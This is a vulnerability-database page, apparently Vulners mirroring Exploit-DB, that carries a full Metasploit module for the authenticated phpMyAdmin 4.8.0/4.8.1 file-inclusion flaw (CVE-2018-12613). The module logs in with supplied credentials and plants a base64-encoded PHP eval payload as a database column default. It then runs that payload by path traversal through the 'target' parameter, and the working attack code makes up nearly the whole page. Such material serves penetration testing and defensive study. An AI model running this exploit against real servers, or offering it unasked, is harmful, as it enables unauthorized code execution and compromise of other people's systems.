Lucene search
K

phpMyAdmin - (Authenticated) Remote Code Execution (Metasploit)

🗓️ 13 Jul 2018 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 224 Views

phpMyAdmin Authenticated Remote Code Execution vulnerability in v4.8.0 and v4.8.1 allows local file inclusion post-authentication, leading to PHP code execution. Module tested with v4.8.1

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'phpMyAdmin Authenticated Remote Code Execution',
      'Description'     => %q{
        phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
        which can be exploited post-authentication to execute PHP code by
        application. The module has been tested with phpMyAdmin v4.8.1.
      },
      'Author' =>
        [
          'ChaMd5', # Vulnerability discovery and PoC
          'Henry Huang', # Vulnerability discovery and PoC
          'Jacob Robles' # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'BID', '104532' ],
          [ 'CVE', '2018-12613' ],
          [ 'CWE', '661' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
          [ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
          [ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
        ],
      'Privileged'  => false,
      'Platform'  => [ 'php' ],
      'Arch'  => ARCH_PHP,
      'Targets' =>
        [
          [ 'Automatic', {} ],
          [ 'Windows', {} ],
          [ 'Linux', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 19 2018'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ])
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
    rescue
      vprint_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown
    end

    if res.nil? || res.code != 200
      vprint_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown
    end

    # v4.8.0 || 4.8.1 phpMyAdmin
    if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
      version = Gem::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version}")

      if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
        return Exploit::CheckCode::Appears
      end
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Unknown
  end

  def query(uri, qstring, cookies, token)
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'import.php'),
      'cookie' => cookies,
      'vars_post' => Hash[{
        'sql_query' => qstring,
        'db' => '',
        'table' => '',
        'token' => token
      }.to_a.shuffle]
    })
  end

  def lfi(uri, data_path, cookies, token)
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
      'encode_params' => false,
      'vars_get' => {
        'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
      }
    })
  end

  def exploit
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    uri = target_uri.path
    vprint_status("#{peer} - Grabbing CSRF token...")

    response = send_request_cgi({'uri' => uri})

    if response.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
    elsif response.body !~ /token"\s*value="(.*?)"/
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end
    token = Rex::Text.html_decode($1)

    if target.name =~ /Automatic/
      /\((?<srv>Win.*)?\)/ =~ response.headers['Server']
      mytarget = srv.nil? ? 'Linux' : 'Windows'
    else
      mytarget = target.name
    end

    vprint_status("#{peer} - Identified #{mytarget} target")

    #Pull out the last two cookies
    cookies = response.get_cookies
    cookies = cookies.split[-2..-1].join(' ')

    vprint_status("#{peer} - Retrieved token #{token}")
    vprint_status("#{peer} - Retrieved cookies #{cookies}")
    vprint_status("#{peer} - Authenticating...")

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookies,
      'vars_post' => {
        'token' => token,
        'pma_username' => datastore['USERNAME'],
        'pma_password' => datastore['PASSWORD']
      }
    })

    if login.nil? || login.code != 302
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    end

    #Ignore the first cookie
    cookies = login.get_cookies
    cookies = cookies.split[1..-1].join(' ')
    vprint_status("#{peer} - Retrieved cookies #{cookies}")

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login_check.body.include? 'Welcome to'
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    elsif login_check.body !~ /token"\s*value="(.*?)"/
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end
    token = Rex::Text.html_decode($1)

    vprint_status("#{peer} - Authentication successful")

    #Generating strings/payload
    database = rand_text_alpha_lower(5)
    table = rand_text_alpha_lower(5)
    column = rand_text_alpha_lower(5)
    col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"


    #Preparing sql queries
    dbsql = "CREATE DATABASE #{database};"
    tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
    dropsql = "DROP DATABASE #{database};"
    dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'

    #Create database
    res = query(uri, dbsql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
    end

    #Create table and column
    res = query(uri, tablesql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
    end

    #Find datadir
    res = query(uri, dirsql, cookies, token)
    if res.nil? || res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
    end

    unless res.body =~ /^<td data.*?>(.*)?</
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
    end

    #Creating include path
    if mytarget == 'Windows'
      #Table file location
      data_path = $1.gsub(/\\/, '/')
      data_path = data_path.sub(/^.*?\//, '/')
      data_path << "#{database}/#{table}.frm"
    else
      #Session path location
      /phpMyAdmin=(?<session_name>.*?);/ =~ cookies
      data_path = "/var/lib/php/sessions/sess_#{session_name}"
    end

    res = lfi(uri, data_path, cookies, token)

    #Drop database
    res = query(uri, dropsql, cookies, token)
    if res.nil? || res.code != 200
      print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jul 2018 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 26.5
CVSS 3.18.8
EPSS0.94262
224